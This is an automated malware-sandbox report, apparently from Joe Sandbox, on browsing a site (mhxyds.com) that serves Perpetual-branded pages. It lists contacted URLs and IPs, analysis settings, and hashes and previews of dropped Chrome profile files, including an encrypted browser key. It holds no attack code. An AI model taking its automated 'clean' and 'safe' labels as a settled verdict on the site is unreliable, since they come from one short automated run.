https://mhxyds.com/js/main.js false Avira URL Cloud: safe unknown

https://mhxyds.com/jpg/perpetual-knowledge-bank-series-reporting-season-746x4190ae6.jpg?
mw=285&hash=CC9B6A2517D6517FA98B06A38A407613637A6C0F

false Avira URL Cloud: safe unknown

https://mhxyds.com/css/fonts/vendor/bootstrap/glyphicons-halflings-regular.ttf false Avira URL Cloud: safe unknown

https://iframes.perpetualequity.com.au/_Resource/_module/1tsuXa2q3UCbZ_-sdLg1BQ/PIC-
iframe-styles_1.css

false Avira URL Cloud: safe unknown

https://83202.global.siteimproveanalytics.io/image.aspx?
url=https%3A%2F%2Fmhxyds.com%2Fabout.html&title=About%20%7C%20Perpetual&res=1920x1
080&accountid=83202&rt=1724&prev=f0b268dd-a818-0db6-9ca3-86cfebd962e9&luid=60e5a47e-
d465-5bdf-41f4-402fa42d9b4c&rnd=41050

false Avira URL Cloud: safe unknown

https://mhxyds.com/gtm5445.html?id=GTM-WNXQNKG false Avira URL Cloud: safe unknown

https://mhxyds.com/shareholders.html false unknown

https://mhxyds.com/js/jquery-ui-1.8.24.js false Avira URL Cloud: safe unknown

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_1_0.ttf false Avira URL Cloud: safe unknown

https://mhxyds.com/png/tmc0ce.png?
h=73&w=55&la=en&hash=96F86B1DC04644EE7ED2DE1ED649AAFE79C5D556

false Avira URL Cloud: safe unknown

https://83202.global.siteimproveanalytics.io/image.aspx?
url=https%3A%2F%2Fmhxyds.com%2Fcontact.html&title=Contact%20%7C%20Perpetual&res=192
0x1080&accountid=83202&rt=9210&prev=f0b268dd-a818-0db6-9ca3-
86cfebd962e9&luid=1b876654-67e3-1fe2-3afc-0b270dc8c413&rnd=46192

false Avira URL Cloud: safe unknown

https://mhxyds.com/js/sc.fields-date.js false Avira URL Cloud: safe unknown

https://mhxyds.com/png/thad77.png?
h=73&w=55&la=en&hash=4311F49121FFFAB00AC2A81710641D8C4BA0FCC4

false Avira URL Cloud: safe unknown

Name Malicious Antivirus Detection Reputation
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https://mhxyds.com/js/sc.fields-captcha.js false Avira URL Cloud: safe unknown

https://mhxyds.com/jpg/hero_banner_746x419_peic_3656fa.jpg?
h=419&la=en&mw=800&w=746&hash=7C1F89192750291213D694E248308C865C3F5668

false Avira URL Cloud: safe unknown

https://mhxyds.com/css/custom.css false Avira URL Cloud: safe unknown

https://mhxyds.com/js/picturefill.min6b70.js?v=636160472800000000 false Avira URL Cloud: safe unknown

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_0_0.woff2 false Avira URL Cloud: safe unknown

https://dnstranfer.com/lipgupiao/assets/images/haoli3.jpg false Avira URL Cloud: safe unknown

https://mhxyds.com/js/jquery.validate.unobtrusive.js false Avira URL Cloud: safe unknown

https://mhxyds.com/shareholders.html false unknown

https://mhxyds.com/investment-calculator.html false unknown

https://mhxyds.com/js/jquery.min.js false Avira URL Cloud: safe unknown

https://dnstranfer.com/lipgupiao/assets/images/icon-icon-close@2x.png false Avira URL Cloud: safe unknown

https://dnstranfer.com/lipgupiao/assets/images/nhaynhay.gif false Avira URL Cloud: safe unknown

https://mhxyds.com/Resources/PerpetualPEIC/img/ajax-loader.gif false Avira URL Cloud: safe unknown

https://dnstranfer.com/direct/index.html false unknown

https://mhxyds.com/js/iframeresizer.min.js false Avira URL Cloud: safe unknown

https://mhxyds.com/js/siteanalyze_83202.js false Avira URL Cloud: safe unknown

https://mhxyds.com/jpg/hero%20peic67d9.jpg?
h=368&la=en&mw=656&w=656&hash=4B1B64C75664486C9D64C51258F8B6C7EEFCB327

false Avira URL Cloud: safe unknown

https://hm.baidu.com/hm.gif?cc=1&ck=1&cl=24-bit&ds=1920x1080&vl=969&et=0&ja=0&ln=en-
us&lo=0&rnd=1325596944&si=17fe70ecc9d76a927d7f46dbe65fefca&v=1.2.96&lv=1&sn=60357&r=
0&ww=1920&ct=!!&u=https%3A%2F%2Fmhxyds.com%2Findex.php&tt=%E9%97%AA%E7%89%9
B%E9%85%8D%E8%B5%84%E8%BF%91%E6%9C%9F%E8%A1%8C%E6%83%85-
%E5%B9%B3%E5%8F%B0%20%E9%97%AA%E7%89%9B%E9%85%8D%E8%B5%84%7C%20
%E9%97%AA%E7%89%9B%E9%85%8D%E8%B5%84%E8%B5%B0%E5%8A%BF%E5%9B%BE
T%2B0%E5%B9%B3%E5%8F%B0

false high

https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false high

https://iframes.perpetualequity.com.au/FormBuilder/_Resource/_module/r1C2SHNItkyshZb6YUZ8U
g/js/iframeResizer.contentWindow.min.js

false Avira URL Cloud: safe unknown

https://iframes.perpetualequity.com.au/FormBuilder/_Resource/_module/r1C2SHNItkyshZb6YUZ8U
g/js/PIC-iframe-scripts.js

false Avira URL Cloud: safe unknown

https://dnstranfer.com/lipgupiao/assets/images/left.png false Avira URL Cloud: safe unknown

https://83202.global.siteimproveanalytics.io/image.aspx?
url=https%3A%2F%2Fmhxyds.com%2Fshareholders.html&title=Shareholders%20%7C%20Perpetu
al&res=1920x1080&accountid=83202&rt=1716&prev=f0b268dd-a818-0db6-9ca3-
86cfebd962e9&luid=3769b23c-9bb0-95f9-aaa6-57229e53fe95&rnd=65555

false Avira URL Cloud: safe unknown

https://dnstranfer.com/lipgupiao/assets/css/popup_skycodec.css false Avira URL Cloud: safe unknown

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_1_0.woff2 false Avira URL Cloud: safe unknown

https://mhxyds.com/png/dm1ba0.png?
h=73&w=55&la=en&hash=3A295843D6CCFE8B1E8E1C1EE86E9D18CC8F9326

false Avira URL Cloud: safe unknown

https://dnstranfer.com/lipgupiao/assets/images/bg-01.jpg false Avira URL Cloud: safe unknown

https://iframes.perpetualequity.com.au/_Modules/CorporateActions/PriceVolumeChartModule/priceV
olumeChart.js

false Avira URL Cloud: safe unknown

Name Malicious Antivirus Detection Reputation

Name Source Malicious Antivirus Detection Reputation

https://dns.quad9.net 0a0621bb-012a-4c03-8b47-1b5f8260f203.tmp.2.dr, 
6d447b95-086a-4941-b24f-e9c19e6792a1.tmp.2.dr, 
88ea9396-9278-4890-9f3f-5bd151a38302.tmp.2.dr

false Avira URL Cloud: safe unknown

https://www.google.com/accounts/OAuthLogin?
issueuberauth=1

craw_window.js.0.dr false high

https://github.com/google/closure-
library/wiki/goog.module:-an-ES6-module-like-
alternative-to-goog.p

craw_window.js.0.dr, craw_background.js.0.dr false high

https://payments.google.com/payments/v4/js/integrator
.js

craw_window.js.0.dr, manifest.json.0.dr false high

https://www.google.com/images/x2.gif craw_window.js.0.dr false high

https://www.google.com/images/dot2.gif craw_window.js.0.dr false high

https://www.google.com/ manifest.json.0.dr false high

https://www.google.com/images/cleardot.gif craw_window.js.0.dr false high

https://sandbox.google.com/payments/v4/js/integrator.j
s

craw_window.js.0.dr, manifest.json.0.dr false high

URLs from Memory and Binaries
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https://accounts.google.com/MergeSession craw_window.js.0.dr false high

https://www-googleapis-
staging.sandbox.google.com

craw_window.js.0.dr, craw_background.js.0.dr false high

https://chrome.cloudflare-dns.com 0a0621bb-012a-4c03-8b47-1b5f8260f203.tmp.2.dr, 
6d447b95-086a-4941-b24f-e9c19e6792a1.tmp.2.dr, 
88ea9396-9278-4890-9f3f-5bd151a38302.tmp.2.dr

false Avira URL Cloud: safe unknown

https://www.google.com/intl/en-
US/chrome/blank.html

craw_background.js.0.dr false high

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

142.250.186.67 unknown United States 15169 GOOGLEUS false

183.131.207.66 unknown China 136190 CHINATELECOM-
ZHEJIANG-JINHUA-
IDCJINHUAZHEJIANGProv
ince

false

172.217.16.138 unknown United States 15169 GOOGLEUS false

142.250.179.132 www.google.com United States 15169 GOOGLEUS false

172.217.168.237 accounts.google.com United States 15169 GOOGLEUS false

35.158.9.70 unknown United States 16509 AMAZON-02US false

47.243.100.207 unknown United States 45102 CNNIC-ALIBABA-US-NET-
APAlibabaUSTechnologyCo
LtdC

false

151.101.66.137 unknown United States 54113 FASTLYUS false

162.247.241.14 unknown United States 23467 NEWRELIC-AS-1US false

142.250.186.72 unknown United States 15169 GOOGLEUS false

216.58.212.174 unknown United States 15169 GOOGLEUS false

47.253.50.2 unknown United States 45102 CNNIC-ALIBABA-US-NET-
APAlibabaUSTechnologyCo
LtdC

false

58.254.150.48 unknown China 136958 UNICOM-GUANGZHOU-
IDCChinaUnicomGuangdon
gIPnetworkCN

false

103.15.210.63 unknown Australia 132484 LAHL-AS-
APLINKADMINISTRATION
HOLDINGSLIMITEDAU

false

142.250.186.99 unknown United States 15169 GOOGLEUS false

World Map of Contacted IPs

Public IPs
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142.250.203.206 clients.l.google.com United States 15169 GOOGLEUS false

142.250.185.234 unknown United States 15169 GOOGLEUS false

142.251.36.42 unknown United States 15169 GOOGLEUS false

103.235.46.191 unknown Hong Kong 55967 BAIDUBeijingBaiduNetcom
ScienceandTechnologyCoLt
d

false

239.255.255.250 unknown Reserved unknown unknown false

118.27.105.118 mhxyds.com Japan 7506 INTERQGMOInternetIncJP false

172.64.145.85 chrome.cloudflare-
dns.com

United States 13335 CLOUDFLARENETUS false

IP Domain Country Flag ASN ASN Name Malicious

IP

192.168.11.1

192.168.11.20

127.0.0.1

Joe Sandbox Version: 35.0.0 Citrine

Analysis ID: 682144

Start date and time: 2022-08-11 05:40:39 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 5m 23s

Hypervisor based Inspection enabled: false

Report type: light

Cookbook file name: browseurl.jbs

Sample URL: https://mhxyds.com/contact.html

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe 
Reader DC 21, Java 8 Update 301

Number of analysed new started processes 
analysed:

16

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: CLEAN

Classification: clean2.win@35/102@6/25

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Browse: https://mhxyds.com/index.php
Browse: https://mhxyds.com/about.html
Browse: https://mhxyds.com/shareholders.html
Browse: https://mhxyds.com/investment-calculator.html

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, CompPkgSrv.exe, backgroundTaskHost.exe, svchost.exe
TCP Packets have been reduced to 100
Created / dropped Files have been reduced to 100
Excluded IPs from analysis (wh itelisted): 104.92.93.112, 142 .251.36.3, 172.217.20.174, 74.125.104.72, 209.197.3.8, 142.250.186.110, 173.194.160.73, 173.194.182.73
Excluded domains from analysis (whitelisted): dnstranfer.com, tile-service.weather.microsoft.com, r3.sn-4g5lznlz.gvt1.com, ctldl.windowsupdate.com, clientservices.googleapis.com, w

Private

General Information

Warnings
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dcp.microsoft.com, arc.msn.com, wdcpalt.microsoft.com, r4---sn-1gi7znes.gvt1.com, redirector.gvt1.com, r3---sn-4g5lznlz.gvt1.com, img-prod-cms-rt-microsoft-com.akamaized.net, r4---sn-
4g5e6ns7.gvt1.com
Not all processes where analyzed, report is missing behavior  information
Report size exceeded maximum capacity and may have missing n etwork information.
Report size getting too big, t oo many NtCreateFile calls found.
Report size getting too big, t oo many NtOpenFile calls found.
Report size getting too big, t oo many NtQueryVolumeInformationFile calls found.
Report size getting too big, t oo many NtSetInformationFile calls found.
Report size getting too big, t oo many NtWriteFile calls found.
Report size getting too big, t oo many NtWriteVirtualMemory calls found.

⊘ No simulations

⊘ No context

⊘ No context

⊘ No context

⊘ No context

⊘ No context

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 142209

Entropy (8bit): 6.063026787274715

Encrypted: false

SSDEEP: 3072:wEZP6g9S7a4yAvdEP4c1bwI28KFb70xHPvW:FR96a4y4Ez2z7sW

MD5: 2BAE4D06642AE6830586078B907A2F86

SHA1: 574CAF0D2D095515EF2EC2FB46DE38829816D17F

SHA-256: 1010B56EA0B03AAD8100CD5905B2369E9837044FA73044FF461A6BDCD32A5A3F

SHA-512: 17D9A803A8DB56C516561CC5BCAD4B9A74C5FABF9B2FE6790FB02D087D37CD91E2DF78BE12F57A0B6BF4F10F269C6F177EF18C505305AC18B959F0DC0D374A
54

Malicious: false

Reputation: low

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Google\Chrome\User Data\1110f44a-f2ef-4140-ab0b-b72de3a634ad.tmp
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Preview: {"autofill":{"states_data_dir":"C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\\2020.11.2.164946"},"browser":{"last_redirect_origin":"","short
cut_migration_version":"92.0.4515.159"},"chrome_cleaner":{"scan_completion_time":"13276779605137578"},"data_use_measurement":{"data_used":{"services":
{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"n
ame":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.660192956908004e+12,"network":1.660189356e+12,"ticks":5544380931.0,"uncertainty":1387
778.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAb7qWBj3YRSZSg2yN3JOzDAAAAAAIAAAAAABBmAAAAAQAAIAAAAIi9I
kqThTzoDjz/SbzVMN6ojv2e+IWxi1hNPZekZpvHAAAAAA6AAAAAAgAAIAAAAAUAxx69p6cLu26Q2Hr4RmGMSdZydqsFEbXDuU/DQjNBMAAAAIjUciIMZJVdh
TeHew42TuNasyfPQ/tWU5NsLVjboe0zHjtdzkC5ew1pmiCHlSxe20AAAADHMdJi6EMHqPhkdh83Av+0ljq5qSldx4HBU10VdDS

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 107188

Entropy (8bit): 6.072158026783829

Encrypted: false

SSDEEP: 3072:rl4c1bwI28KFb70xHPvRMnjgxOR5bEkkVbWiKaG:Z4Ez2z7sRMjgo5SVb/8

MD5: EE9B942B10B92E333BE11F526B7F150B

SHA1: DCEC06D99FD680046ACDD08D7D5650848E90D00F

SHA-256: 95562C70D662E748FF3E54501740487574B57F9B42FFCC9AE26A76057933C55B

SHA-512: 2FA476DF45345D3CF4130DF9D82A74F7FEA82A2D24693FAC4576611E0C3ED47AB9A7F8F03C997464E403B7C66BF4C4B06B65B292D2A31C9CFF82180F673158D7

Malicious: false

Reputation: low

Preview: {"autofill":{"states_data_dir":"C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\\2020.11.2.164946"},"browser":{"last_redirect_origin":"","short
cut_migration_version":"92.0.4515.159"},"chrome_cleaner":{"scan_completion_time":"13276779605137578"},"data_use_measurement":{"data_used":{"services":
{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"n
ame":{"migrated":true}}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAb7qWBj3YRSZSg2yN3JOzDAAAAAAIAAAAAABBm
AAAAAQAAIAAAAIi9IkqThTzoDjz/SbzVMN6ojv2e+IWxi1hNPZekZpvHAAAAAA6AAAAAAgAAIAAAAAUAxx69p6cLu26Q2Hr4RmGMSdZydqsFEbXDuU/DQjNB
MAAAAIjUciIMZJVdhTeHew42TuNasyfPQ/tWU5NsLVjboe0zHjtdzkC5ew1pmiCHlSxe20AAAADHMdJi6EMHqPhkdh83Av+0ljq5qSldx4HBU10VdDSmkAGpjc0ME/dZFv
RW/olnz1Fp2nnOVSu6bpN8OhHKse4P"},"password_manager":{"os_password_blank":false,"os_password_last_changed":"13273675891506321"},"

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 93460

Entropy (8bit): 3.7615729172788552

Encrypted: false

SSDEEP: 384:FfULnp30q535XMOaHhcup37jazEF00iaR9Dda7buaruEoY7B3Tz64GKyX1Xv0R+p:dZYa/cl0dJWznPYJhW+dKmcxI

MD5: C6828EBF35FDCFB38F72401A404145AE

SHA1: E97A9110CB1DF4F698E63C6398D93F73375EDE24

SHA-256: AC4A69F9739636802B9CE6BE6446E102AD769C54B29F6144F5DEB8DD9C5901FE

SHA-512: 57E5B929AE5A9831B35BFD7E858FA6375C4A09B8A509AAA15334DF12282ADE5B53C3248FD7EF27A3E1B57C75F33C424631C7E89C80CCB0D514F4A1B459670D4
8

Malicious: false

Reputation: low

Preview: .m..............T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l..0.....:A...
c.:.\.p.r.o.g.r.a.m. .f.i.l.e.s. .(.x.8.6.).\.m.i.c.r.o.s.o.f.t. .o.n.e.d.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.......f.i.l.e.s.y.n.c.s.h.e.l.l.6.4...d.l.l.......M.i.c.r.o.s.o.f.t. .
O.n.e.D.r.i.v.e."...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.....2.1...0.3.0...0.2.1.1...0.0.0.2.....T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.
n.e.D.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...|d8.....C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.
n. .F.i.l.e.s.\.S.y.s.t.e.m.\.w.a.b.3.2...d.l.l.....w1PX....%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.s.y.s.t.e.m.\.....w.a.b.3.2...d.l.l...$...M.i.c.r.o.s.o.f.t... .W.i.n.d.o.w.s... .O.p.e.
r.a.t.i.n.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 142209

Entropy (8bit): 6.063026390201743

Encrypted: false

SSDEEP: 3072:F1ZP6g9S7a4yAvdEP4c1bwI28KFb70xHPvW:tR96a4y4Ez2z7sW

MD5: 79EBB353B6B9FA758C13D2DE24AAEAD5

SHA1: 2E14BC646550DBCB0466B36065B465C129A9EE43

SHA-256: DE016AF1531D8473BB60EEB4DC3EF9C635766292DA03290236E313E51CEFD856

SHA-512: C60FE5C4E3FD2472717E9EE0F8F3E9FBD043B5E7CAE08ECF11BEB6FA36E62FE4082FDF31FB4719C6E258FD3C924C85AB585AEF2391424D3C96C53677D0278A
5F

C:\Users\user\AppData\Local\Google\Chrome\User Data\1f3483ce-30c3-45c9-a832-8dafebe06efc.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\2482284d-ca60-43ad-8d8b-c6624e96323a.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\2b4c43bd-3c11-4a2f-83cd-930a0ee41e57.tmp
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Malicious: false

Reputation: low

Preview: {"autofill":{"states_data_dir":"C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\\2020.11.2.164946"},"browser":{"last_redirect_origin":"","short
cut_migration_version":"92.0.4515.159"},"chrome_cleaner":{"scan_completion_time":"13276779605137578"},"data_use_measurement":{"data_used":{"services":
{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"n
ame":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.660192956908004e+12,"network":1.660189356e+12,"ticks":5544380931.0,"uncertainty":1387
778.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAb7qWBj3YRSZSg2yN3JOzDAAAAAAIAAAAAABBmAAAAAQAAIAAAAIi9I
kqThTzoDjz/SbzVMN6ojv2e+IWxi1hNPZekZpvHAAAAAA6AAAAAAgAAIAAAAAUAxx69p6cLu26Q2Hr4RmGMSdZydqsFEbXDuU/DQjNBMAAAAIjUciIMZJVdh
TeHew42TuNasyfPQ/tWU5NsLVjboe0zHjtdzkC5ew1pmiCHlSxe20AAAADHMdJi6EMHqPhkdh83Av+0ljq5qSldx4HBU10VdDS

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 142208

Entropy (8bit): 6.063027087990928

Encrypted: false

SSDEEP: 3072:avZP6g9S7a4yAvdEP4c1bwI28KFb70xHPvW:8R96a4y4Ez2z7sW

MD5: 7807BAEC4EB073554CB25092B411B065

SHA1: 7186EC5B91B7FD9AAAA8690CAE611DB27B7816FC

SHA-256: 77F7B59208E9A06FE1079319D2CCB73AEB4B196230ED28B7B84F07ED93AEDC06

SHA-512: 2C7354CC7A94FF81F0DEF5D46DC22375D0BCC21EEE7011C8D8CBDDFF19D7CA07DDAC380335D10564846AC52FE173F4F60F7D57650449685F94B9250DCDC823
C2

Malicious: false

Reputation: low

Preview: {"autofill":{"states_data_dir":"C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\\2020.11.2.164946"},"browser":{"last_redirect_origin":"","short
cut_migration_version":"92.0.4515.159"},"chrome_cleaner":{"scan_completion_time":"13276779605137578"},"data_use_measurement":{"data_used":{"services":
{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"n
ame":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.660192956908004e+12,"network":1.660189356e+12,"ticks":5544380931.0,"uncertainty":1387
778.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAb7qWBj3YRSZSg2yN3JOzDAAAAAAIAAAAAABBmAAAAAQAAIAAAAIi9I
kqThTzoDjz/SbzVMN6ojv2e+IWxi1hNPZekZpvHAAAAAA6AAAAAAgAAIAAAAAUAxx69p6cLu26Q2Hr4RmGMSdZydqsFEbXDuU/DQjNBMAAAAIjUciIMZJVdh
TeHew42TuNasyfPQ/tWU5NsLVjboe0zHjtdzkC5ew1pmiCHlSxe20AAAADHMdJi6EMHqPhkdh83Av+0ljq5qSldx4HBU10VdDS

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 142189

Entropy (8bit): 6.062859934422302

Encrypted: false

SSDEEP: 3072:yhZP6g9S7a4yAvdEP4c1bwI28KFb70xHPvW:gR96a4y4Ez2z7sW

MD5: FFC8055858D23E1B7C6FEBF8346E99D8

SHA1: 3C0ABB10E9ADBF8D2AC9325BC12F98548DF1B915

SHA-256: A5AB0CC0B028DD0B25C13EEC59E08A10D26CE5C03E92A1FEF884672DFC0CBF60

SHA-512: 54831FF5288644636B02990F7F15FDD270F875BEE73DEDE3C88DEDD2781392001A1F5E75A324B93140420147D7027D1F09E49C253BCDB3079499BDA928C91D19

Malicious: false

Reputation: low

Preview: {"autofill":{"states_data_dir":"C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\\2020.11.2.164946"},"browser":{"last_redirect_origin":"","short
cut_migration_version":"92.0.4515.159"},"chrome_cleaner":{"scan_completion_time":"13276779605137578"},"data_use_measurement":{"data_used":{"services":
{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"n
ame":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.660192956908004e+12,"network":1.660189356e+12,"ticks":5544380931.0,"uncertainty":1387
778.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAb7qWBj3YRSZSg2yN3JOzDAAAAAAIAAAAAABBmAAAAAQAAIAAAAIi9I
kqThTzoDjz/SbzVMN6ojv2e+IWxi1hNPZekZpvHAAAAAA6AAAAAAgAAIAAAAAUAxx69p6cLu26Q2Hr4RmGMSdZydqsFEbXDuU/DQjNBMAAAAIjUciIMZJVdh
TeHew42TuNasyfPQ/tWU5NsLVjboe0zHjtdzkC5ew1pmiCHlSxe20AAAADHMdJi6EMHqPhkdh83Av+0ljq5qSldx4HBU10VdDS

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 142364

Entropy (8bit): 6.063524017057327

Encrypted: false

SSDEEP: 3072:yiZP6g9S7a4yAvdEP4c1bwI28KFb70xHPvW:pR96a4y4Ez2z7sW

MD5: E6AD29BA821E5C388036D5EFAD0BBC91

SHA1: 2AB34C070C276B97C3D0E16F36787BED975DDC16

C:\Users\user\AppData\Local\Google\Chrome\User Data\3ea9e6bd-57bf-40f6-8ae4-0c0bd7e7c56f.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\76ba77cc-c090-4 8-8314-b52e7327f6f2.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\9e10fd97-bbf3-415a-9ace-efad08c97e88.tmp
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SHA-256: 30714F270B64BE9FE4C0791A8F33D106E464470C14A7CAAAB6042D04DFEACE97

SHA-512: C40F18FE0E5D234D2B353ED7363642AF626183C826A63EE9BCB56B2E80073F8D736AFF2BA9F72AECAA48ABBED5A21005F8D38739E431D2F71CB7DD2F2960620
5

Malicious: false

Reputation: low

Preview: {"autofill":{"states_data_dir":"C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\\2020.11.2.164946"},"browser":{"last_redirect_origin":"","short
cut_migration_version":"92.0.4515.159"},"chrome_cleaner":{"scan_completion_time":"13276779605137578"},"data_use_measurement":{"data_used":{"services":
{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"n
ame":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.660192956908004e+12,"network":1.660189356e+12,"ticks":5544380931.0,"uncertainty":1387
778.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAb7qWBj3YRSZSg2yN3JOzDAAAAAAIAAAAAABBmAAAAAQAAIAAAAIi9I
kqThTzoDjz/SbzVMN6ojv2e+IWxi1hNPZekZpvHAAAAAA6AAAAAAgAAIAAAAAUAxx69p6cLu26Q2Hr4RmGMSdZydqsFEbXDuU/DQjNBMAAAAIjUciIMZJVdh
TeHew42TuNasyfPQ/tWU5NsLVjboe0zHjtdzkC5ew1pmiCHlSxe20AAAADHMdJi6EMHqPhkdh83Av+0ljq5qSldx4HBU10VdDS

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: modified

Size (bytes): 40

Entropy (8bit): 3.254162526001658

Encrypted: false

SSDEEP: 3:FkXzcrK4sGe:+zcxne

MD5: 1FFC8D842569A9307FC85E7587770C05

SHA1: E4A8E698E8A20F3BC0AE027C7DE553C0691C66F4

SHA-256: 448E44A1487C1EFA839B3DE46C71EB52D6B163E01274A9F8482E056B3AC9E1CC

SHA-512: 3F0261C27609BF5C87B325F4C2D18060D74D85C747ABAD9A24E3D6403B724B760E1E0BEE94EC93402D4C3AA0720000DFC9F96012F46E9923F83B01D1E63465B1

Malicious: false

Reputation: low

Preview: sdPC....................{...UN..Fe\.c{

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 11467

Entropy (8bit): 5.1600734095169

Encrypted: false

SSDEEP: 192:ua7L1oqWvThUWoT4dDW3+zorux0oCkqSkbyck9fuk0tkWR8kTzC+iVA3dgaS:uWxWvThUWoT4dDWmGnyDcrRFzC+/3dw

MD5: EC3454724E7B4D9FDFD2B0AACCDFAD53

SHA1: 7D56310AECED356192891DD98926806C7E4085A4

SHA-256: 605A7F3C59B98F1C9602800B7E02567A758650CB64722B2AB79C429E94705608

SHA-512: E165F47281AC645D6B01324DBA6F1987E5A5B9E620CCEC481AD6BC2F2C5937F1AE07F9C5C2C4E23AAD4697E68E0E092DECABA5E5E171626FFABBA47062EC7
F29

Malicious: false

Reputation: low

Preview: {"NewTabPage":{"PrevNavigationTime":"13287142309198669"},"account_id_migration_state":2,"account_tracker_service_last_update":"13304666556741724","alt
ernate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13273758446491023","autocomplete":{"retention_policy_last_version":94},"
autofill":{"orphan_rows_removed":true},"browser":{"has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placem
ent":{"bottom":1112,"left":269,"maximized":true,"right":1214,"top":92,"work_area_bottom":1040,"work_area_left":0,"work_area_right":1920,"work_area_top":0}},"cou
